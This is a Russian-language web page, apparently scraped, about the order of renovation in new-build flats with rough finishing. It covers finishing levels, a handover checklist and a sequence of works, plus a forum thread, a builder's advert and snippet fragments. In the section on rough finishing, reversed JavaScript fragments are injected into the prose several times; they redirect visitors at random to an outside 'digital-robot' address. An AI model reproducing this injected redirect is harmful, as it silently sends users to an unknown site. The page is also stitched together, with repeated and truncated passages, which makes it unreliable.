С чего начать ремонт в новостройке с черновой улучшенной отделкой

83) В статье подробно рассказывается о последовательности проведения ремонта квартиры в новостройке

Что входит в черновой ремонт квартиры: полный перечень работ | Улучшенная черновая отделка

Внутренняя отделка делится на черновую и чистовую (финишную). От этого зависит, готово ли жилье к заселению или необходимо проводить дополнительный ремонт. Основная масса квартир в новостройках радует покупателей лишь черновой отделкой. Знать, что под ней понимается, важно, поскольку от этого зависит, сколько еще средств придется вложить в жилье. Рассказываем, что значит черновой ремонт, что в него входит и чем он отличается от чистовой отделки.

Что означает черновая отделка

Черновая отделка – это одна из стадий отделки жилья. Представляет собой минимальный ремонт, без которого юридически невозможна сдача дома. Для понимания стоит ознакомиться со всеми стадиями отделки:

• Черновая. Первый уровень, при котором в квартире есть самый минимум: стеклопакеты, входная дверь, подводка электричества до щитка.
• Под чистовую. От предыдущей отличается тем, что уже имеются перегородки (их возведение согласовывается в договоре с застройщиком). На полу уже не голый бетон, а залитая стяжка, потолок и стены оштукатурены, может быть выполнена электрика.
• Предчистовая. Уровень, при котором квартира полностью готова к началу финишной отделки: разведена электрика, стены и пол выровнены, подоконники и откосы установлены на свои места, иногда уже есть розетки и выключатели.
• Чистовая (white box). Квартира готова к заселению, требует только расстановки мебели. Стены окрашены или оклеены обоями, на полу ламинат, линолеум, плитка или другой материал, стоит сантехника, вся электрика подключена. С таким косметическим ремонтом можно прожить не менее 5 лет.

Квартиры с черновой отделкой стоят на 10-15% дешевле, чем с полным ремонтом. Выполняя финишные работы в таком жилье, необходимо учитывать, что новостройка будет просаживаться в ближайшие 4-5 лет. Это естественный процесс усадки здания. Поэтому сначала стоит делать ремонт с недорогими отделочными материалами. Уже по истечении 5 лет можно не переживать и вкладывать в отделку любые средства.

Какие работы входят в черновую отделку

То, что входит в черновую отделку в новостройке, устанавливается самим застройщиком. Здесь нет универсального списка с перечнем всех обязательных работ. Некоторые застройщики предоставляют прайс, где указывают, что они могут выполнить. Это удобно для покупателя, поскольку он может сам выбрать, какие работы нужно сделать в его квартире.

При сотрудничестве с застройщиком важно внимательно изучать договор, который вы подписываете. В нем должен быть приведен полный перечень работ, которые планируется выполнить, с указанием цен.

Минимум, без которого объект не сдается, все-таки есть. Итак, что входит в черновой ремонт:

• Стяжка пола. По маякам заливается во всех помещениях квартиры примерно на одном уровне. В мокрых помещениях (на кухне, в санузле) обязательно делается гидроизоляция.
• Монтаж входной двери (металлической) и пластиковых или деревянных окон.
• Отделка стен цементным раствором (для начального выравнивания).
• Минимальная отделка потолка. Обычно его штукатурят, замазывают все швы, но поверхность чаще остается неровной.
• Подведение инженерных коммуникаций: отопления, водоснабжения и водоотведения, газа, электричества.

Шпаклевка – к какой отделке относится

Если вас интересует вопрос, шпаклевка – это черновая или чистовая отделка, то можно сказать, что она не относится ни к одной из них. Шпаклюют уже поверх штукатурки или гипсокартона. Отсюда можно сделать вывод, что это скорее предчистовая отделка.

У некоторых застройщиков шпаклевка может входить и в черновой ремонт, но уже не традиционный, а улучшенный. Его стоимость выше, но по готовности он значительно превосходит стандартный. Улучшенная черновая отделка – это отделка под чистовую, благодаря которой ремонт не будет таким долгим, затратным и дискомфортным для соседей. Собственнику обычно нужно только зашпаклевать поверхности, покрасить или поклеить обои и сделать, например, натяжной потолок.

Важный вопрос со стяжкой

В случае со стяжкой важно уточнить у застройщика, каков допустимый перепад высот, которого он придерживается при заливке. Стяжка бывает неармированной (толщина 3-4 см) и армированной, которая предусматривает большой слой бетона – 5-7 см. Отсюда и возможный перепад высот.

Если основание получилось достаточно ровным, финишное покрытие можно укладывать прямо на него. Но многие решают добиться идеально ровного пола. Для этого можно использовать специальную смесь для наливного пола. После замешивания она остается достаточно жидкой, поэтому при наливе на стяжку самостоятельно выравнивается, помогая создать ровную поверхность.

Прокладка коммуникаций в черновой отделке

В рамках проведения коммуникаций:

• Устанавливаются подрозетники (без выключателей и розеток), электрический щиток, подводятся (не прокладываются в квартире, а именно подводятся) слаботочные кабели (для интернета, телевидения, стационарного телефона) и кабели электропитания.
• Разводятся трубы горячего и холодного водоснабжения, канализации.
• Прокладываются трубы отопительной системы, устанавливаются радиаторы отопления (батареи).

На что обратить внимание при приемке работ

Чтобы проверить самые важные детали черновой отделки, вам понадобятся следующие инструменты:

На что обратить внимание в черновой отделке:

• Ровность стен. Для проверки нужно воспользоваться строительным уровнем длиной минимум 1,5-2 м. Его прикладывают к полу и стенам в разных направлениях. Пузырек в уровне должен находиться по центру, это говорит о вертикальности стен и горизонтальности пола. Большого отклонения быть не должно. Ровность штукатурки и стяжки проверяется правилом, которое прикладывают к стенам и полу в разных направлениях. Под правилом не должно появляться больших впадин более 3 мм.
• Внешние и внутренние углы. Они должны иметь прямой угол 90°. Проверить это легко с помощью обычного большого угольника.
• Соответствие площади той, что заявлена в договоре. Здесь можно воспользоваться рулеткой или лазерным дальномером. Измерив размеры всех комнат, вы рассчитываете площадь каждой из них и складываете все числа. Затем полученное значение сравнивается с заявленным в договоре.
• Правильность электропроводки. Вам потребуется обычная отвертка с индикатором, который загорается при подаче на инструмент напряжения. Если его нет, соответственно, индикатор не загорится. Нужно прикоснуться щупом отвертки к одной из клемм розетки. Светодиод загорелся, значит, это фаза, нет – ноль. Далее нужно отключить автомат и проверить розетки его группы – в них должна отсутствовать фаза, поскольку автомат должен разомкнуть фазу, а не ноль, т. е. индикатор после отключения не должен загораться.

Также необходимо осмотреть все розетки, пересчитать их, чтобы количество соответствовало проекту. Щиток должен быть установлен аккуратно, не иметь повреждений. Каждый автомат нужно проверить на работоспособность, выключив и посмотрев, пропало ли электричество, за которое он отвечает.

Трубы и сантехнику осматривают на протечки, удобство расположения вентилей, их работу. Окна и двери проверяют на ровность установки. Механизмы открывания не должны заедать, а между рамами, подоконниками и стенами не должно быть щелей. Если их пропустить, то зимой через окна и двери будет тянуть холодом.

И главное: обязательно уточняйте, что входит в черновую отделку от застройщика, ведь у некоторых из списка исключена даже первичная обработка поверхностей (стен, пола, потолка). В противном случае при приемке вас могут ждать сюрпризы, которые приведут к дополнительным затратам.

С чего начинать ремонт ? Если жильё бюджетное, скорее всего, с выравнивания стен и потолков. В домах типа комфорт и престиж можно сразу переходить к декорированию (краска, обои, фактурная штукатурка). На этом этапе удобно сделать электропроводку, если будущий владелец уже определился с размещением розеток. … Улучшенная черновая отделка имеет второе название – предчистовая. Чем отличается черновая отделка от предчистовой … Черновая отделка – это самые грязные и тяжёлые виды работ, без завершения которых дом запрещено сдавать в эксплуатацию. Если будущий владелец планирует делать дизайнерский ремонт по своему вкусу, такой вариант оптимален.

Последовательность ремонта квартиры в новостройке (48 фото). Разводка труб водоснабжения, канализации, монтаж электропроводки. Стяжка пола. Черновая отделка

Какова последовательность ремонта квартиры в новостройке? Этим вопросом часто задаются люди, приобретающие квартиры без отделки (или с черновой отделкой) и планирующие подготовку жилья к переезду.

Последовательность ремонтных работ, обычно, одна и та же как для новостроек, так и для вторичного жилья. Стоит заметить сразу, что в ходе отделки квартиры своими руками, далеко не каждый пункт из приведенного перечня имеет место быть.

Ремонт в новостройке

Можно пропускать какие-либо работы, однако, нарушать последовательность этапов ремонта квартиры в новостройке крайне не рекомендуется. Ведь в лучшем случае количество строительного мусора в вашем доме только увеличится, в худшем — для проведения каких-то работ придется взламывать то, что недавно было сделано.

Перечень работ

Основные работы

1. Полный комплекс демонтажных работ (сюда относится снос стен, усиление или устройство дверных проемов).
2. Устройство межкомнатных перегородок.
3. Вывоз строительного мусора.
4. Установка системы вентиляции.
5. Разводка труб водопровода, канализации, отопления.
6. Электромонтажные работы.
7. Монтаж слаботочной разводки (телефон, интернет, системы видеонаблюдения, сигнализации, телевидение).
8. Стяжка пола. .
9. Монтаж окон и входных дверей.
10. Монтаж внешнего блока кондиционера, прокладка воздуховодов для внутреннего блока.

Промежуточный этап

1. Укладка плитки.
2. Гипсокартонные работы.
3. Шпатлевка потолка и стен.
4. Монтаж подоконников.
5. Устройство элементов декора (потолочные гантели, лепнина).

Завершающий этап

1. Поклейка обоев на стены/покраска стен и потолка.
2. Монтаж межкомнатных дверей.
3. Монтаж натяжных или навесных потолков.
4. Укладка покрытия на пол (паркета, линолеума, ковролина).
5. Монтаж наличников.
6. Монтаж плинтуса.
7. Монтаж выключателей и розеток.
8. Установка потолочных светильников и бра.
9. Монтаж элементов системы видеонаблюдения (видеокамер, видеодомофона).
10. Установка сантехники.
11. Монтаж встраиваемой мебели.
12. Монтаж внутреннего блока кондиционера.
13. Вывоз мусора.

Такова последовательность ремонта в новостройке. Лучше всего, если вы заранее определитесь, какие шаги для отделки помещения вам предстоит предпринять и запасетесь инструментом (и знаниями) для выполнения данного вида работ.

Обратите внимание! Ремонт в новой квартире делать не рекомендуется проводить, пока не пройдет 2-3 года с момента сдачи дома. И дело тут не в плохой примете, а в том, что все дома проходят процесс усадки. Поэтому отделочные материалы, которые будут использованы для отделки жилья, могут деформироваться. В новом доме на первых порах лучше не выполнять отделку помещений плиткой и не использовать стеновые панели. Недорогие и эластичные отделочные материалы, например, обои на тканевой основе — лучший вариант для первого ремонта в новой квартире.

Остановимся поподробнее на некоторых пунктах из списка.

«Грязная» работа

Демонтаж стены, цена работ — от 390 руб.

По понятным причинам выполняется в первую очередь. Избежать демонтажных работ, пыли и строительного мусора, как правило, владельцам новых квартир не удается. И даже если хозяева не планируют сносить и переносить стены, удалять черновую отделку все же придется.

Нередко подрядчики, осуществляющие строительство жилых домов, производят очень грубую внутреннюю отделку, применяя в работе универсальную смесь. В подобных случаях нужно простучать все поверхности, чтобы при обнаружении внутренних пустот, вскрыть их для удаления некачественной штукатурки. В противном случае свежий слой штукатурки спустя какое-то время просто отслоиться.

К грязным работам относится установка окон и подоконников, а также устройство и штукатурка откосов окон и дверей. Стоит разобраться с этим вопросом сразу, пока еще грязь и пыль в помещении допустимы и ничего не могут испортить.

После монтажа новых окон и подоконников не забудьте их тут же упаковать полиэтиленовой пленкой, а на сам подоконники настелить материал оргалит, чтобы избежать царапин.

Разводка труб водоснабжения, канализации, монтаж электропроводки

Существует 2 вида разводки труб: тройниковая и коллекторная. При тройниковой схеме от коллектора отходит один трубопровод. Посредством тройников трубопровод присоединяется к каждому сантехприбору. Плюс данного метода — его невысокая стоимость. Минус — низкое давление.

Коллекторная же разводка, безусловно, более предпочтительный вариант, поскольку к каждому сантехприбору проводится от коллектора отдельный трубопровод.

Что касается электропроводки, то в комнатах ее можно монтировать в стенах или провести по полу. Как правило, проводку «упаковывают» в железные или пластиковые трубы для обеспечения электробезопасности и защиты провода от повреждений. Нередко схема электропроводки уже включена в дизайн-проект.

Стяжка пола

Пожалуй, нет ни одной квартиры в многоэтажном доме, где был бы идеальный бетонный пол. Ведь плиты, из которых он изготавливается, имеют только одну гладкую поверхность — ту, которая является потолком у соседей снизу.

Перепады же высоты на той поверхности, что является полом, могут достигать 10 см. Чтобы выровнять поверхность, наиболее качественной и долговечной является стяжка из пескобетона.

В ходе устройства стяжки по ее краям необходимо оставить место для будущей электропроводки. Стяжку пола начинают сразу по окончании демонтажных работ, ведь ее полное высыхание иногда затягивается более чем на месяц.

Устройство стяжки пола

Черновая отделка

Она тоже относится к основным видам ремонтных работ. После того как все действия по сносу и переносу стен будут закончены, а также завершены работы, требующие их сверления, можно переходить к шпатлевке и оштукатуриванию поверхности стен и tobor-latigid//:sptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3) tolok/chem-otdelat-potobor-latigid//:sptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3) tolok-53″>отделке потолка. Целью черновой отделки является создание идеально ровной поверхности.

После того tobor-latigid//:sptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3) tolok-27″>как штукатурка потолка и стен, а также их последующая шпаклевка завершены, в любом месте прикладывается двухметровое правило. Если черновая отделка была выполнена качественно, просвет между правилом и стеной не должен составлять более 2 мм.

На деле же стены многоэтажных домов далеки от совершенства, просвет может составлять 1-7 см, что сегодня уже считается нормой. Когда поверхности высохнут после первого слоя материалов, на них повторно наносят шпаклевку, а после следующего высыхания шлифуют ее.

Мы рассмотрели лишь часть основных работ. Главное, теперь вы знаете, в какой последовательности стоит выполнять ремонтные работы.

Подводя итоги

Надеемся, наша статья была для вас полезна. Для того чтобы более точно разобраться в технологическом и практическом вопросе, на нашем сайте представлена подробная фото- и видео-инструкция, в которой вы найдете полезную информацию по данному вопросу.

Порядок проведения ремонта без отделки в новостройках . Жилье со свободной планировкой предполагает голую бетонную коробку. Плюсом такого жилья будет возможность сделать все «под себя». На это будет потрачено много сил, времени и финансов. Прежде чем начинать , требуется тщательно спланировать зоны пользования помещением. Рекомендуется определить, где будет находиться сантехника, раковина, бытовая техника. От этого будут зависеть количество розеток, выключателей и их расположение на стене. … Лучше всего последовательность ремонта в новостройке изложить в виде плана. Его можно составить на бумаге или при наличии опыта использовать специальную программу.

С чего начать ремонт в новостройке?

Однушка 48 кв м в монолите. Бюджет ограничен, поэтому ремонт будем делать поэтапно. Подскажите, с чего начинать, если электрика уже развдена, никаких дизайнерских изысков не будет. Мне кажется, что можно начать с санузла. Права ли я ? Спасибо, Светлана.

Спрашивает Светлана

Первым этапом следует выполнить все черновые работы (грунтовка,штукатурка, шпаклёвка, растворная стяжка, наливной пол). Следует начинать с дальней комнаты или с балкона. Расстановку сантехники следует выполнить по окончанию всех работ, чтобы раствором не повредить новые предметы сантехники.

Любое даже маленькое дело начинается с большого перекура! Бюджет есть- отлично! Начните с дизайн проекта, если хотите назовите его планом, эскизом, списком работ, мебели необходимой в квартире, ее расстановкой и т.д. После этого вы определите для себя какие работы вы планируете произвести в квартире — вы сможете составить для себя черновую смету. Технологическая последовательность выполнения работ у всех одинаковая. Вы же не будете делать сначала чистовые потолки а потом стяжку? Начинать надо с планирования — даже если нет бюджета- поверьте мне.

Мы всегда делаем санузел в последнюю очередь, если там не планируется перепланировка или, вообще, снос кабины. Санфаянс ставится в последнюю очередь и канализация тоже, поскольку воды, ах эти строительные воды полные липкой субстанции. Не советую!

Светлана, после разводки электрики необходимо развести трубы и сделать стяжку пола

Если жить в квартире не будете, то этапы лучше разбить не по помещениям, а по степени грязи.

Если штробление под проводку не нужно, то начните со стяжки пола по маякам. ОБЯЗАТЕЛЬНО ее сделайте, не экономьте, или после будете себе локти кусать.Ровность пола при дальнейшей чистовой отделке, крайне важная вещь. Если нужно поставьте окна ПВХ из хорошего профиля и фурнитуры (к ним теплые откосы), не китайскую входную дверь и не китайские радиаторы отопления. Если нужно утеплите (не экономя) балкон, предусмотрев там теплые полы. Смело отделывайте санузел, только плитку пока не затирайте, и оставьте унитаз-времянку. Все эти работы основа -«каркас» вашего ремонта. Закончите это, и «косметика» доделается сама собой.

Если брать по технологии, нужна заштукатурить стены патом залить пол.

..Начинайте с «мокрых» узлов.. Пописать, и т.д., помыть руки и лицо-это святое дело.

Всем большое спасибо. Все встало на свои места: разводка труб, установка временных унитаз+раковина, замена радиаторов, штукатурка стен, заливка пола по маякам, отделка балкона ( он у нас панорамный, так что только пол сделать) , отделка санузла , а дальше проще. Еще раз всем огромное спасибо.

Бюджет ограничен. -Значит и качество будет ограниченным,иначе ни как.Теперь по существу:для начала вам нужно представить,что вы хотите от своей квартиры,во вторых сделать техзадание(проект),и только после этого найти грамотного специалиста по отделке,который все сделает технологично.Судя по тому,что электрика у вас сделана,а что дальше вы не знаете,осмелюсь предположить,что у вас все идет под вашим контролем,а так как вы не строитель,то идет все из рук вон плохо.По этому повторюсь:либо сами с усами,но будь,что будет,либо профессионалы,но с нормальным бюджетом.Удачи вам.

Строительная компания Строй Гарант выполнит строительные работы любой сложности, по Москве и Московской области. Коттеджи, офисы, жилые дома и промышленные здания. Начиная от фундамента и заканчивая ремонтом под ключ. На рынке строительства мы свыше 5 лет, у компании много как завершенных, так и текущих проектов. К каждому заказчику у нас индивидуальный подход, который удовлетворит все Ваши требования и пожелания, оптимальное соотношение цена, скорость работ, качество. Работаем как с частными лицами, так и с строительными организациями (ген. подряд, суб. подряд) Если Вам нужно быстро, качественно и не дорого построить дом или сделать ремонт, звоните нам и мы гарантируем что Вы останетесь довольны сотрудничеством

С чего начать ремонт в квартире с черновой отделкой . До начала ремонта или о проекте. О перепланировке. На вкус и цвет … Очередность операций. До начала работ. Первые ассоциации, которые связаны со словом « ремонт », — это: неудобства, беспорядок, сложности на каждом шагу и бесконечное откладывание сроков его завершения. … Капитальный ремонт в новостройке предусматривает полную или частичную замену: Оконных и дверных проемов; Системы отопления; Трубопроводов и комплектующих систем водоснабжения и канализации; Разводки и приборов системы электроснабжения; Напольных, потолочный и настенных покрытий.

Ремонт квартиры своими руками с чего начинать

Решение начать ремонт квартиры принято. Для того чтобы процесс не затянулся на месяцы и годы, лучше определить сразу последовательность работ. Несмотря на то что конечный результат у каждого получится свой в зависимости от количества наличных средств и фантазии, начало и дальнейшие действия обычно проводятся по одной схеме.

Естественно, что ремонт квартиры, купленной в новостройке, с чистовой или черновой отделкой, будет несколько отличаться от мероприятий по восстановлению квартиры-хрущевки.

Подробнее о том, как удачно начать ремонт, чтобы эффективно и быстро его закончить, далее в материале.

Ремонт квартиры — до и после

С чего начать ремонт черновой квартиры: советы, нюансы, рекомендации

После приобретения квартиры с черновой отделкой жить в ней сразу невозможно. Все, что имеется в помещении – оштукатуренные стены, черновая стяжка пола, стеклопакеты в окнах, входная дверь, электрическая разводка, трубы водоснабжения. С чего же начать ремонт в такой квартире, чтобы как можно быстрее превратить ее в уютный, теплый дом.

Составляется план квартиры, на котором сначала отмечают где будут расставлены мебель, сантехника и оборудование. После того как окончательный вариант составлен, на нем легко будет обозначить места расположения розеток, выключателей, светильников и пр.

Квартира с черновой отделкой

Далее следует обдумать следующие нюансы:

• тип межкомнатных дверей (о том, как подобрать подходящий вариант – читайте здесь);
• напольное покрытие;
• материалы отделки стен;
• потолочное покрытие.

Итог правильно начатого ремонта

После этого появляется возможность рассчитать необходимые материалы – их количество и стоимость. Покупать лучше не все сразу, а поэтапно, по мере выполнения работ.

Ход собственно ремонта будет проходить в следующей последовательности:

1. «Грязные» работы – укладка трубопроводов, сантехнических коммуникаций, теплых полов (если они запланированы). Также на этом этапе выполняется электроразводка кабелей, слаботочных систем (телефон, телевидение, интернет, сигнализация и пр.). Составление схемы электропроводки – обязательно. По ней делается разметка на стенах и потолке, после чего штробят поверхности, в которые укладываются провода, розетки, распределительные коробки и т. д. Не забудьте предусмотреть разводку к бытовой технике, а также устроить сливную трубу для стиральной машины.

   Начало ремонта в жилой квартире

2. Следующий этап – отделка ванной и санузла. При выборе материалов следует помнить, что в помещении повышена влажность, а, значит, приобретаемые изделия должны быть влагостойкими. Качественные материалы для ванной комнаты – это гарантия того, что Вам не придется бороться в дальнейшем с грибком или плесенью. Как можно оформить подвесной реечный потолок или навесной потолок из пластиковых панелей в ванной, представлены в наших предыдущих статьях. Варианты отделки стен в ванной – по этой ссылке.
3. Подготовка стен и потолка во всех помещениях к финишной отделке. Черновая квартира подразумевает уже оштукатуренные стены, поэтому этот этап будет проходить довольно быстро. В конце стены и потолок можно покрасить или наклеить обои.
4. Полы. Одним из самых экономных вариантов отделки полов является линолеум. Однако, не обязательно во всей квартире укладывать один вид напольных покрытий, в каждой комнате он может быть свой – ламинат, ковролин, ковровая плитка, паркет, пробковый пол или даже наливные 3D полы.
5. Двери, плинтуса – это очередной этап ремонтных работ. Причем установка дверей может происходить уже и после того, как хозяева вселятся в квартиру. Главное, установить дверные коробки с наличниками, а само полотно можно будет подобрать и позже.

Полезное видео с советами ниже:

Такой ремонт довольно просто выполнить даже не прибегая к найму строительной бригады. Для очень сложных работ можно пригласить друзей или знакомых.

Вид квартиры с черновой отделкой до и после ремонта

Ремонт квартиры с чистовой отделкой

Для тех, кто приобрел квартиру в новострое с чистовой отделкой, имеется возможность немедленного заселения, поскольку в помещениях уже выполнены следующие работы:

• пол выровнен и на нем уложено напольное покрытие;
• стены оштукатурены, выровнены, на них нанесены финишные покрытия – обои, плитка, краска и пр.;
• потолок – выровнен, окрашен;
• розетки, выключатели, сантехника, входные и межкомнатные двери – установлены;
• на кухне подключена газовая или электроплита;
• обеспечено снабжение теплом, водой, электричеством, газом.

Чистовая отделка квартиры

Плюсы чистовой квартиры – это уменьшение затрат на проведение всех «грязных» работ, которые необходимо проводить при черновой отделке помещений. Все, что остается хозяевам – покупка мебели и окончательное декорирование комнат в определенном стиле.

Из минусов часто отмечают недостаточное качество и дешевизну используемых материалов и оборудования для чистовой отделки, а также не всегда аккуратное выполнение работ. Кроме того, в квартире с чистовой отделкой глобально поменять уже установленный интерьер будет куда затратнее и хлопотнее, чем в квартире «с нуля».

Какой вариант выбрать – новую квартиру с чистовой или черновой отделкой – решать только Вам, ориентируясь на свой кошелек и предпочтения.

Правильное начало ремонта — залог шикарного результата

Советы по ремонту жилых квартир

Планируя обновить уже обитаемую несколько лет квартиру, хозяевам для начала стоит определиться с видом ремонта:

1. Косметический.
2. Капитальный.
3. Евро.

Отремонтированная кухня

Проще всего выполнить косметическое обновление квартиры. В этом случае потребуется:

• очистить потолок и стены от старых покрытий;
• освежить поверхности – шпаклевка, грунтовка стен, покраска или поклейка обоев;
• реставрировать или установить новые потолки и напольные покрытия;
• частично поменять сантехнику (если это необходимо);
• демонтировать неисправные розетки и поставить новые (также при необходимости).

Косметический ремонт — до и после

Кап- и евроремонт потребуют значительно больше усилий, ведь начинается все с полного демонтажа и вывоза мусора.

Остальные этапы – черновая отделка, уже описаны в первом пункте статьи. При необходимости выполняется стяжка пола. О том, как это сделать самостоятельно мы уже писали здесь.

Удачное завершение капитального ремонта

Помните, что хорошее начало в любом деле, в том числе и в ремонте квартиры, является залогом его удачного завершения. Быстрого и легкого Вам ремонта!

С чего начать ремонт в новостройке ? С черновой отделки . Это самые грязные работы, которые выполняются сразу во всех комнатах. После чего вывозится весь строительный мусор, и элементы помещения очищаются от грязи и пыли. … Задаваясь вопросом, с чего начать ремонт квартиры в новостройке без коммуникаций, необходимо понимать, что разводка сантехники в квартире выполняется по заранее намеченному плану, на основании которого приобретаются необходимые материалы и сантехнических устройств. Разводка труб горячего и холодного водоснабжения может осуществляться скрыто в заранее подготовленных штробах в стенах помещения.

Что входит в черновую отделку квартиры?

Застройщики могут сдавать жильё, готовое к заселению, или требующее финальной отделки.

Именно о втором случае пойдёт речь в статье. Чтобы принять квартиру после сдачи дома, нужно знать, что такое черновая отделка квартиры в новостройке.

Что включает черновая отделка

Что значит и как выглядит черновая отделка квартир? Это стандартный набор ремонтных работ, в результате которых владелец получает «бетонную коробку».

Качество зависит от класса дома:

• эконом;
• стандарт;
• комфорт;
• престиж.

Черновой ремонт у каждого застройщика выглядит по-разному.

С чего начинать ремонт? Если жильё бюджетное, скорее всего, с выравнивания стен и потолков. В домах типа комфорт и престиж можно сразу переходить к декорированию (краска, обои, фактурная штукатурка). На этом этапе удобно сделать электропроводку, если будущий владелец уже определился с размещением розеток.

Основные различия между черновым, улучшенным черновым и чистовым ремонтом

Что входит в черновую отделку квартиры в новостройке:

Улучшенная черновая отделка имеет второе название – предчистовая. Чем отличается черновая отделка от предчистовой:

1. Все пункты из предыдущего списка.
2. Пол и стены выровнены.
3. Стены со штукатуркой (нуждаются в шпаклёвке).
4. Есть подоконники и откосы.
5. Установлены межкомнатные перегородки или стены.

Чем чистовая отделка отличается от черновой:

Памятка, как принять квартиру в новостройке с черновой отделкой по нормативам

1. Проверьте входную дверь – она должна быть ровной, легко открываться и закрываться, все замки должны работать.
2. Стены и пол обязательно ровные или без сильных перепадов. Это можно проверить уровнем. Потолок – без щелей и дыр. Даже мелкие трещины застройщик обязан заделать.
3. Каждое окно должно стоять ровно и плотно закрываться. Проверьте качество фурнитуры и целостность стеклопакета.
4. Трубы на кухне и в санузле – без признаков ржавчины или подтёков воды. Часто слабое место – это дешёвые краны. Уже обязаны стоять заглушки на кранах и канализации, а также счётчики воды с пломбами. Сразу фиксируйте их показания. У некоторых застройщиков по проекту кранов и счётчиков может не быть.
5. Батареи должны стоять ровно, быть жёстко зафиксированными, без вмятин.
6. Если нет вентиляционного отверстия или есть, но тяга плохая, застройщик обязан это исправить. Проверить наличие воздушного потока легко – к исправной вытяжке лист бумаги прочно прилипает и держится.
7. С помощью любого мелкого бытового прибора проверьте исправность розеток. На лестничной клетке должен быть установлен счётчик электричества (этот пункт есть не во всех проектах). Не допускается наличие торчащих проводов.
8. При наличии балкона, проверяйте качество остекления и наличие трещин на полу и стенах.

Все недочёты нужно указывать в акте осмотра и фотографировать. Иногда представитель строительной компании просит обвести дефект мелом, чтобы его было проще устранить.

Приёмка с помощью специальных организаций

Специалисты осматривают помещение с тепловизорами, измеряют параметры дверных проёмов, кривизну стен. Если по плану есть пожарная сигнализация, её работу также проверят. Стоимость услуги зависит от площади жилья.

Сколько стоит черновая отделка квартиры в новостройке?

Средняя цена по РФ для домов класса стандарт в 2022 году – от 2500 рублей за м2 по полу. Ориентироваться можно так:

Черновая отделка – это самые грязные и тяжёлые виды работ, без завершения которых дом запрещено сдавать в эксплуатацию. Если будущий владелец планирует делать дизайнерский ремонт по своему вкусу, такой вариант оптимален.

В полностью готовом жилье для реализации индивидуального проекта придётся снимать обои, менять плитку и выполнять много лишних действий.

Видео: Черновая отделка квартиры в новостройке — что это?

Я чего не очень-то поняла, а если в квартире ни стяжки, ни стен, ни разводки камуникаций, ничего нет, это какой ремонт называется? Потому как когда моя подруга брала новострой в таком состоянии их убеждали что это предчистовая отделка такая и так везде.

В нашем доме, расположенном по адресу: Москва, ул, Фабрициуса дом.24, корп.1 ведут замену лифта в течении 2-х месяцев и когда .

Как минимум в данной статье присутствуют одна ошибка, где сказано, что в 2021 году Росреестр подведомственен Министерству экономического развития страны. .

Начало ремонта в новостройке , какая последовательность этапов, что учесть. Когда и с чего начать ремонт квартиры в новостройке ? … Ремонт в новостройке – с чего начать подготовку. Итак, вы определили, когда можно начинать ремонт в новостройке , готовим план: Продумайте (хотя бы приблизительно) расстановку основной мебели в вашем будущем жилище. … Поэтому прежде чем приступать к работам, проверьте качество черновой отделки : степень ровности стен. На них не должно быть никаких трещин, а при проверке уровнем, не должна кружиться голова от перекоса вертикальных поверхностей